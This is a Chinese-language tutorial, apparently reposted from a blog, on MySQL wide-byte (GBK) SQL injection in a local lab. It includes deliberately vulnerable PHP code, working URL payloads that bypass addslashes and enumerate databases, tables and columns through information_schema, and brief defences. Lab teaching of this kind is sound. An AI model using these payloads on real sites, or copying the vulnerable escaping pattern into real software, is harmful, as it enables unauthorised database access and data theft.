mysql sql宽字节注入_sql注入之宽字节注入
寬字節注入是因為數據庫使用了GBK編碼,不過現在大都使用unicode國際編碼,大多數網站都使用了utf-8的編碼
不過既然是sql注入的一部分,也搭建環境? 做做實驗
實驗環境:
wamp集成包
實驗說明:
創建使用GBK編碼的數據庫
實驗步驟:
使用phpmyadmin進行創建數據庫的時候,如果不去選擇編碼格式,默認會使用latin1_swedish_ci 格式
查了一下 ,和GBK類似,那就這個吧。。。
使用默認編碼,創建數據庫后繼續創建表格
latin1_swedish_ci
這里需要注意的是,使用latin1_swedish_ci 格式進行創建表,插入數據時
當插入漢字的時候,提示編碼問題
難怪現在的大多網站都使用utf-8編碼
格式問題
修改字段的編碼格式?? 可插入漢字
繼續編寫php漏洞代碼<?php
header("Content-type:text/html;charset=utf-8");
$id=@$_GET['id'];
if(isset($id)&&!empty($id)){
$id = addslashes($_GET['id']);//進行轉義
$conn=mysql_connect('localhost','root','')? or? die? ("false");
mysql_select_db("tests",$conn);
mysql_query("set names 'gbk' ",$conn);//指明數據庫gbk處理,不安全的編碼格式
$sql = "select * from test where id='".$id."'";
$result = mysql_query($sql, $conn);
while ($row=@mysql_fetch_array($result)){
echo "用戶名:".$row['name']."
";
//echo "密碼:".$row['password']."";
}
mysql_close($conn);
print_r('執行SQL語句:'.$sql);
}else{
echo? "id? 錯誤";
}
?>
進行訪問 ? 注入 ? 測試
addslashes的轉義
發現已經被轉義了,使用%df? ' 進行注入
�
繼續注入?? %df%27 union select? 1,2,3?? #
注意URL編碼問題
注入成功
以下為URL編碼:
%27---------單引號
%20----------空格
%23-----------#號
%5c------------/反斜杠
為什么可以注入成功?
修改一下?? header? 改為gbkheader("Content-type:text/html;charset=gbk");
再次查看
反斜杠神奇消失
為什么反斜杠變成? 運? 這個玩意啦?
id=1'---------->id=1\'--------->id=1%5c%27
id=1%df'---------id=1%df%5c%27---------->id=1%DF5C%27-------->id=1運'
其實就是利用gbk是多字節的編碼,兩個字節代表一個漢字
%df??? %5c?? 組合出了一個? 運 字
因此? 可以注入
success
擴展:
爆出所有的數據庫名
payload:
id=%df%27%20union%20select%201,schema_name,3%20from%20information_schema.schemata%20limit%206,5%20%23
數據庫名
爆出數據庫中的數據表
payload:
id=%df%27%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=0x64767761%20limit%200,61%20%23
dvwa的十六進制編碼為0x64767761
所有數據表
爆出指定數據庫的字段
payload:
id=%df%27%20union%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_schema=0x64767761%20and%20table_name=0x61646D696E%20limit%200,61%20%23
爆出字段
注意使用十六進制
table_schema=0x64767761(dvwa)? and? table_name=0x61646D696E(admin)
根據以上信息,可進行mysql的跨庫查詢,查詢任意數據庫的任意信息
可查詢信息
防御:
1.使用mysql_set_charset(utf8)指定字符集
2. 使用mysql_real_escape_string進行轉義
總結
以上是生活随笔為你收集整理的mysql sql宽字节注入_sql注入之宽字节注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql记录相互关系查询_MySQL关
- 下一篇: js最简单数组去重_js简单数组去重